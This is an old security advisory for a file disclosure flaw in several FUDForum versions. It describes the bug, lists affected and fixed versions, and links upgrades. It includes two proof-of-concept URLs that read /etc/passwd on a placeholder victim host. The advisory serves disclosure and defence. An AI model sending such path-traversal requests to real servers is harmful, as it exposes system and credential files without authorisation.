Ilia Alshanetsky FUDForum File Disclosure Vulnerability

Bugtraq ID:	5501
Class:	Design Error
CVE:	CVE-2002-1423
Remote:	Yes
Local:	No
Published:	Aug 19 2002 12:00AM
Updated:	Jul 11 2009 03:56PM
Credit:	Discovery credited to Ulf Harnhammar <[email protected]>.
Vulnerable:	Ilia Alshanetsky FUDForum 2.0.2 Ilia Alshanetsky FUDForum 1.9.8 Ilia Alshanetsky FUDForum 1.2.8
Not Vulnerable:	Ilia Alshanetsky FUDForum 2.2.3 Ilia Alshanetsky FUDForum 2.2 .0

Ilia Alshanetsky FUDForum File Disclosure Vulnerability

Reportedly, FUDForum may disclose contents of arbitrary files to attackers. The vulnerability is the result of FUDForum failing to check the path of the file that is being requested. By simply making malicious requests via URI parameters, an attacker is able to obtain access to potentially sensitive files.

Ilia Alshanetsky FUDForum File Disclosure Vulnerability

There is no exploit code required. The following proof of concept was provided by Ulf Harnhammar <[email protected]>:

http://victimhost.com/tmp_view.php?file=/etc/passwd
http://victimhost.com/admbrowse.php?down=1&cur=%2Fetc%2F&dest=passwd&rid=1&S=[someid]

Ilia Alshanetsky FUDForum File Disclosure Vulnerability

Solution:
The following upgrades are available:


Ilia Alshanetsky FUDForum 1.2.8

• Ilia Alshanetsky FUDforum2_20020712.tar.gz
  http://fud.prohost.org/download/FUDforum2_20020712.tar.gz

Ilia Alshanetsky FUDForum 1.9.8

• Ilia Alshanetsky FUDforum2_20020712.tar.gz
  http://fud.prohost.org/download/FUDforum2_20020712.tar.gz

Ilia Alshanetsky FUDForum 2.0.2

• Ilia Alshanetsky FUDforum2_20020712.tar.gz
  http://fud.prohost.org/download/FUDforum2_20020712.tar.gz

Ilia Alshanetsky FUDForum File Disclosure Vulnerability

References:

• FUDForum (Ilia Alshanetsky)